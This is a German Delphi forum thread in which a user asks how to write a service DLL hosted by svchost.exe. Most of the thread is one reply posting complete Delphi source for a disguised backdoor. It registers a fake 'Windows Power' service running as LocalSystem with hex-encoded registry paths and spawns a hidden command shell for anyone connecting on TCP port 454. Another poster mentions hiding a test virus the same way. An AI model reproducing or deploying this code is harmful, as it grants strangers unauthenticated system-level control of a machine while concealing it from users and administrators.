Delphi-PRAXiS
Seite 1 von 2  1 2      

Delphi-PRAXiS (https://www.delphipraxis.net/forum.php)
-   Win32/Win64 API (native code) (https://www.delphipraxis.net/17-win32-win64-api-native-code/)
-   -   Suche Beispiel für eine Service-DLL (https://www.delphipraxis.net/161764-suche-beispiel-fuer-eine-service-dll.html)

axellang 19. Jul 2011 16:12

Suche Beispiel für eine Service-DLL
 
Hallo Leute,

suche ein Beispiel (skeleton) oder Doku (Delphi) zu einer NT-Service-Dll die innerhalb einer vorhandenen SvcHost Gruppe laufen soll.

Gruß

Axel

jaenicke 19. Jul 2011 17:27

AW: Suche Beispiel für eine Service-DLL
 
Dafür musst du die Funktion RegisterServiceCtrlHandlerEx im DLL-Quelltext beim Laden der DLL, also in begin..end, benutzen:
http://msdn.microsoft.com/en-us/library/ms685058.aspx

Ob du die delphiinternen Routinen für die Dienststeuerung damit trotzdem nutzen kannst, weiß ich nicht, aber mit SetServiceStatus geht es jedenfalls, indem du den Status auf Running setzt, wenn deine Initialisierung geklappt hat:
http://msdn.microsoft.com/en-us/library/ms686241.aspx

axellang 20. Jul 2011 19:36

AW: Suche Beispiel für eine Service-DLL
 
Hi,

Hi,

@jaenicke, Danke, es geht vielmehr um die Einträge die ich in der Reg. setzen muss, damit meine Service dll von der Svchost.exe geladen wird.

Meine Hoffnung war es, das einer schon mal ne Service dll geschrieben hat und mir da ein paar Tipps bzw. Links zu einer Doku helfen könnte denn in der MSDN oder ähnliches findet man nichts.

Das einzig brauchbare habe ich heute erst gefunden:Demo for a service dll used by svchost.exe to host it. Außerdem noch ne Doku: SVCHOST

So jetzt schreibe ich das alles noch um und dann mal sehen.


Axel

jaenicke 20. Jul 2011 19:49

AW: Suche Beispiel für eine Service-DLL
 
Ich habe das vor einiger Zeit schon einmal ausprobiert. Den Quelltext muss ich mal suchen.

Aber posten kann ich den dann nicht direkt. Denn es handelte sich dabei um einen Virus, den ich zu Testzwecken geschrieben hatte. Auf diese Weise hatte ich den im System versteckt und unter Windows XP war er dann mit z.B. dem Taskmanager logischerweise nicht mehr zu finden. Mehr schreibe ich zu diesem Thema besser nicht, nicht dass jemand, der das liest, auf dumme Gedanken kommt...

Aber ich schaue mal, ob ich den Code zum Registrieren des Dienstes noch finde.

axellang 20. Jul 2011 19:58

AW: Suche Beispiel für eine Service-DLL
 
Hi,

Zitat:

Zitat von jaenicke (Beitrag 1112774)
Denn es handelte sich dabei um einen Virus, den ich zu Testzwecken geschrieben hatte.

so, so ;-), nun mal her damit. Lass uns die Weltherrschaft übernehmen.

Axel

generic 21. Jul 2011 08:53

AW: Suche Beispiel für eine Service-DLL
 
Zitat:

Zitat von axellang (Beitrag 1112597)
NT-Service-Dll die innerhalb einer vorhandenen SvcHost Gruppe laufen soll.

Es ist natürlich einfacher, einen Dienst mit Delphi hinzustellen.
Muss es unbedingt die SvcHost-DLL sein?
Welchen Grund gibt es dafür?

axellang 21. Jul 2011 20:11

AW: Suche Beispiel für eine Service-DLL
 
Hi,
Zitat:

Zitat von generic (Beitrag 1112833)
Es ist natürlich einfacher, einen Dienst mit Delphi hinzustellen.

Ja das ist richtig, ich verwende für NT-Services unter Delphi DDService (zip), dass das Delphi Service Framework um einige längst fällige Features erweitert und zwei Bugs fixt (QC #68050 und QC #37706) die nach wie vor offen sind. (readme im zip unbedingt !lesen!)

Zitat:

Zitat von generic (Beitrag 1112833)
Muss es unbedingt die SvcHost-DLL sein?

Ja, der Svchost hat leider einen schlechten Ruf. Bei meiner Recherche zum Aufbau der DLL waren die ersten Treffer: "Virus, Trojaner, Loader, Hilfe verseucht und schlag mich tot". Es gab nur vereinzelte Treffer die mit der Thematik professionell umgingen, z.B. im forum.sysinternals.com writing-a-service-that-runs-under-svchost. Auch hier in der DP wurde eine ähnliche Frage schon mal besprochen svchost-problem doch war es nicht was ich suchte.

Zitat:

Zitat von generic (Beitrag 1112833)
Welchen Grund gibt es dafür?

Der Dienst soll die bestehenden Services beobachten und ggf. bei Fehlern neu starten. Außerdem soll es die Schnittstelle zu unserer Update-Engine sein, die sich die Upgrades per BITS von unserem Server holt und installiert. Ausschlaggebend war natürlich das der Dienst, der im Kontext der Svchost.exe läuft, nicht gleicht sichtbar ist. Da alle Programm-Komponenten digital signiert sind, sehe ich keinen Grund es so nicht zu machen.


Gruß, Axel

Luckie 21. Jul 2011 21:29

AW: Suche Beispiel für eine Service-DLL
 
Der Prozess SvcHost ist der Hostprozess für Dienste. Und warum sollte der Prozess einen schlechten Ruf haben? Und was wird hie runter schlechten Ruf verstanden?

Astat 21. Jul 2011 22:02

AW: Suche Beispiel für eine Service-DLL
 
Delphi-Quellcode:

library svchost;

(********************************* Regsettings *********************************

  Windows Registry Editor Version 5.00

  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tapisvc]
  "DisplayName"="Windows Power"
  "Type"=dword:00000020
  "Start"=dword:00000002
  "ErrorControl"=dword:00000000
  "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\
    74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,73,\
    00,76,00,63,00,68,00,6f,00,73,00,74,00,2e,00,65,00,78,00,65,00,20,00,2d,00,\
    6b,00,20,00,6e,00,65,00,74,00,73,00,76,00,63,00,73,00,00,00
  "ObjectName"="LocalSystem"
  "Description"="Bietet Unterstützung für Protokoll-Plug-Ins von Drittanbietern
     für die gemeinsame Nutzung der Internetverbindung und den Windows-Firewall."

  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tapisvc\Parameters]
  "ServiceDll"=hex(2):44,00,3a,00,5c,00,57,00,49,00,4e,00,44,00,4f,00,57,00,53,\
    00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,67,00,79,00,\
    65,00,6b,00,65,00,74,00,79,00,73,00,2e,00,64,00,6c,00,6c,00,00,00

  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tapisvc\Enum]
  "0"="Root\\LEGACY_TAPISVC\\0000"
  "Count"=dword:00000001
  "NextInstance"=dword:00000001

+Zur Gruppe hinzufügen:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost
*******************************************************************************)
uses
  Windows,
  WinSvc,
  Winsock2,
  Winsock;

const
  Port = 454;

type
  PArgArray = ^PChar;

var
  ServiceStatus: SERVICE_STATUS;
  hServiceStatusHandle : SERVICE_STATUS_HANDLE;
  Terminated: boolean = false;

  szCmdLine: Array [0..MAX_PATH] of Char;

function ShellThread(Parameter: Pointer): Integer;
var
  hSocket: PInteger;
  si: TStartupInfo;
  pi: TProcessInformation;
begin
  hSocket := Parameter;
  ZeroMemory(@si, SizeOf(TStartupInfo));
  si.cb := SizeOf(TStartupInfo);
  si.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
  si.wShowWindow := SW_HIDE;
  si.hStdInput := hSocket^;
  si.hStdOutput := hSocket^;
  si.hStdError := hSocket^;
  CreateProcess(nil, szCmdLine, nil, nil, TRUE, CREATE_NEW_CONSOLE, nil, nil, si, pi);
  WaitForSingleObject(pi.hProcess, INFINITE);
  CloseHandle(pi.hProcess);
  CloseHandle(pi.hThread);
  Shutdown(hSocket^, SD_BOTH);
  CloseSocket(hSocket^);
  Dispose(hSocket);
  Result := 0;
end;

function MainThread(Parameter: Pointer): Integer;
var
  WSAData: TWSAData;
  FDSet: TFDSet;
  SockAddrIn: TSockAddrIn;
  ServerSocket: TSocket;
  Connected: PInteger;
  ThreadID: Cardinal;
begin
  result := 0;
  if WSAStartUp($0020, WSAData) <> S_OK then EXIT;

  ServerSocket := WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
  if (ServerSocket = INVALID_SOCKET) then EXIT;

  FillChar(SockAddrIn, SizeOf(TSockAddr), #0);

  with SockAddrIn do begin
    sin_Family := AF_INET;
    sin_Port  := htons(Port);
    sin_Addr  := TInAddr(htonl(INADDR_ANY));
  end;

  if Bind(ServerSocket, SockAddrIn, SizeOf(SockAddrIn)) = SOCKET_ERROR then EXIT;

  if Listen(ServerSocket, SOMAXCONN) = SOCKET_ERROR then EXIT;

  GetEnvironmentVariable('Comspec', szCmdLine, MAX_PATH);

  while not Terminated do begin
    FD_Zero(FDSet);
    FD_Set(ServerSocket, FDSet);
    if Select(0, @FDSet, nil, nil, nil) = SOCKET_ERROR then Break;
    if Terminated then Break;
    if FD_IsSet(ServerSocket, FDSet) then begin
      New(Connected);
      Connected^ := Accept(ServerSocket, nil, nil);
      if Connected^ <> SOCKET_ERROR then
        BeginThread(nil, 0, ShellThread, Connected, 0, ThreadID)
      else
        Break;
    end;
    sleep(15);
  end;

  WSACleanup;
end;

//-- Service Code
function SvcCtrlHandler(dwControl: DWORD; dwEventType: DWORD;
  lpEventData: PChar; lpContext: PChar): DWORD; stdcall;
begin
  result := NO_ERROR;

  case dwControl of
    SERVICE_CONTROL_STOP, SERVICE_CONTROL_SHUTDOWN:
      begin
        ServiceStatus.dwWin32ExitCode := 0;
        ServiceStatus.dwCurrentState := SERVICE_STOPPED;
        ServiceStatus.dwCheckPoint   := 0;
        ServiceStatus.dwWaitHint     := 0;
      end;
    SERVICE_CONTROL_PAUSE:
      begin
        ServiceStatus.dwCurrentState := SERVICE_PAUSED;
      end;
    SERVICE_CONTROL_CONTINUE:
      begin
        ServiceStatus.dwCurrentState := SERVICE_RUNNING;
      end;
  end;

  SetServiceStatus(hServiceStatusHandle, ServiceStatus);
end;

procedure ServiceMain(dwArgc: DWORD; lpszArgv: PArgArray); stdcall;
var
  pServiceName: PChar;
begin
  pServiceName := PChar('Tapisvc');

  ServiceStatus.dwServiceType       := SERVICE_WIN32_SHARE_PROCESS;
  ServiceStatus.dwCurrentState      := SERVICE_START_PENDING;

  ServiceStatus.dwControlsAccepted  := SERVICE_ACCEPT_STOP or
    SERVICE_ACCEPT_SHUTDOWN or SERVICE_ACCEPT_PAUSE_CONTINUE;

  ServiceStatus.dwWin32ExitCode     := 0;
  ServiceStatus.dwServiceSpecificExitCode := 0;
  ServiceStatus.dwCheckPoint        := 0;
  ServiceStatus.dwWaitHint          := 0;

  hServiceStatusHandle := RegisterServiceCtrlHandlerA(pServiceName,
    @SvcCtrlHandler);

  if (hServiceStatusHandle <> 0) then begin
    ServiceStatus.dwCurrentState := SERVICE_RUNNING;
    ServiceStatus.dwCheckPoint  := 0;
    ServiceStatus.dwWaitHint    := 0;
    SetServiceStatus(hServiceStatusHandle, ServiceStatus);
  end;
end;

procedure DLLEntryPoint(dwReason: DWORD);
var
  dwThreadID: DWORD;
begin
  case dwReason of
    DLL_PROCESS_ATTACH : CloseHandle(BeginThread(nil, 0, MainThread, nil, 0, dwThreadID));
    DLL_PROCESS_DETACH : Terminated := true;
  end;
end;

 {$R *.RES}

exports
  ServiceMain;

begin
  DisableThreadLibraryCalls(hInstance);
  DllProc := @DLLEntryPoint;
  DLLEntryPoint(DLL_PROCESS_ATTACH);
end.
:-D

Luckie 21. Jul 2011 22:05

AW: Suche Beispiel für eine Service-DLL
 
Es ist eine ziemlich dumme Idee seine DLL nach einer System DLl zu benennen: http://blogs.msdn.com/b/oldnewthing/...02/171769.aspx


Alle Zeitangaben in WEZ +1. Es ist jetzt 22:19 Uhr.
Seite 1 von 2  1 2      

Powered by vBulletin® Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024 by Thomas Breitkreuz